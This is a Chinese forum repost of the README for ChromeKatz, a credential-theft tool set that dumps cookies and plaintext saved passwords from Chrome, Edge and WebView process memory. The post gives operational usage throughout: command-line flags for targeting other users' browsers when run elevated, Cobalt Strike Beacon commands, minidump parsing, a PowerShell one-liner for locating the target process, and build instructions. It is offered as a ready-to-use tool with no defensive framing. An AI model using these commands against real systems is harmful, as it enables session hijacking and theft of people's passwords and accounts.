ChromeKatz:直接从 Chrome/Edge 进程内存转储 cookie 和凭证

2024-09-17 21:25:14 1 236

ChromeKatz

Github:https://github.com/Meckazin/ChromeKatz

ChromeKatz 是一款从基于 Chromium 的浏览器内存中转储敏感信息的解决方案。目前,ChromeKatz 由两个项目组成:

  1. CookieKatz - cookie转储器
  2. CredentialKatz - 密码转储器

这两种工具都有可用的 exe、Beacon 对象文件和 minidump 解析器。

CredentialKatz - 从内存中转储凭证管理器内容

CredentialKatz 是一个允许操作员转储 Chrome 和 Edge 的凭据管理器中的所有凭据的项目。大多数时候,基于 Chromium 的浏览器会将您的密码加密保存在凭据管理器中,直到需要它们为止,无论是在凭据管理器中查看,还是自动填充到登录表单中。但无论出于何种原因,passwords_with_matching_reused类都会以纯文本形式PasswordReuseDetectorImpl填充凭据管理器中的所有凭据。这将包括您本地添加到密码管理器的所有凭据。如果您已使用您的帐户登录浏览器,这还将包括您曾与该帐户同步的所有密码。

用这种方式访问​​凭证有几个好处:

运行提升权限时转储其他用户浏览器的凭据 无需 DPAPI 密钥即可解密凭证 无需接触磁盘上的数据库文件 从小型转储文件离线解析凭证管理器 该解决方案由三个项目组成:CredentialKatz(PE 可执行文件)、CredentialKatz-BOF( Beacon 对象文件版本)和CredentialKatzMinidump(小型转储解析器)。

用法

注意!当选择使用 PID 作为目标时,请分别使用命令 /list 或 cookie-katz-find 来选择正确的子进程!

CredentialKatz

Examples:
.\CredentialKatz.exe
    By default targets first available Chrome process
.\CredentialKatz.exe /edge
    Targets first available Edge process
.\CredentialKatz.exe /pid:<pid>
    Attempts to target given pid, expecting it to be Chrome
.\CredentialKatz.exe /edge /pid:<pid>
    Target the specified Edge process

Flags:
    /edge       Target current user Edge process
    /pid        Attempt to dump given pid, for example, someone else's if running elevated
    /list       List targettable processes, use with /edge to list Edge processes
    /help       This what you just did! -h works as well

CredentialKatz-BOF

beacon> help credential-katz
Dump credential manager from Chrome or Edge
Use: credential-katz [chrome|edge] [pid]

beacon> help cookie-katz-find
Find processes for credential-katz
Use: credential-katz-find [chrome|edge]

CredentialKatzMinidump

Usage:
    CredentialKatzMinidump.exe <Path_to_minidump_file>

Example:
    .\CredentialKatzMinidump.exe .\msedge.DMP

You need to dump the Chrome/Edge main process. Hint: It is the one with the smallest PID

CookieKatz - 直接从内存中转储 cookies

CookieKatz 是一个允许操作员直接从进程内存转储 Chrome、Edge 或 Msedgewebview2 的 cookie 的项目。基于 Chromium 的浏览器在启动时会从磁盘上的 cookie 数据库加载所有 cookie。

这种方法的好处是:

  1. 支持从 Chrome 的 Incogntio 和 Edge 的 In-Private 进程中转储 cookie
  2. 运行提升权限时访问其他用户浏览器的 cookie
  3. 从 webview 进程转储 cookies
  4. 无需接触磁盘上的数据库文件
  5. 无需 DPAPI 密钥即可解密 Cookie
  6. 从小型转储文件离线解析 cookie

不利的一面是,即使查找内存中正确偏移量的方法目前是稳定的并且可以在多个不同版本上运行,但它在未来的某个时候肯定会出现故障。不支持 32 位浏览器安装,也不支持 32 位版本的 CookieKatz。

目前仅转储常规 cookie。Chromium 将分区 Cookie存储在不同位置,并且目前不包含在转储中。

该解决方案由三个项目组成:CookieKatz(PE 可执行文件)、CookieKatz-BOF(Beacon 对象文件版本)和CookieKatzMinidump(小型转储解析器)。

用法

注意!当选择使用 PID 作为目标时,请分别使用命令 /list 或 cookie-katz-find 来选择正确的子进程!

CookieKatz

Examples:
.\CookieKatz.exe
    By default targets first available Chrome process
.\CookieKatz.exe /edge
    Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
    Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
    Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
    Lists available webview processes

Flags:
    /edge       Target current user Edge process
    /webview    Target current user Msedgewebview2 process
    /pid        Attempt to dump given pid, for example, someone else's if running elevated
    /list       List targettable processes, use with /edge or /webview to target other browsers
    /help       This what you just did! -h works as well

CookieKatz-BOF

beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]

beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]

CookieKatzMinidump

Usage:
    CookieKatzMinidump.exe <Path_to_minidump_file>

Example:
    .\CookieKatzMinidump.exe .\msedge.DMP

To target correct process for creating the minidump, you can use the following PowerShell command:
    Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId

构建和安装

使用预编译的二进制文件

下载 ChrokeKatz BOF 的最新发布版本。zip 文件包含已编译的 BOF 和运行它们的 CNA 脚本。

构建自己的

您可以在 Visual Studio 上使用 Release 或 Debug 配置和 x64 平台构建这两个项目。

BOF 版本是使用 Cobalt Strike 的 Visual Studio 模板bof-vs开发的。这意味着 *-BOFs 的调试配置将生成一个 exe 文件而不是 COFF 文件。您可以在此处阅读有关使用 Visual Studio 模板的更多信息。

您可以在VS 2022 的 x64 本机工具命令提示符中使用 nmake 编译自己的 BOF :

nmake all

关于作者

whoami100篇文章152篇回复

勤快的搬运工。

评论1次

要评论?请先  登录  或  注册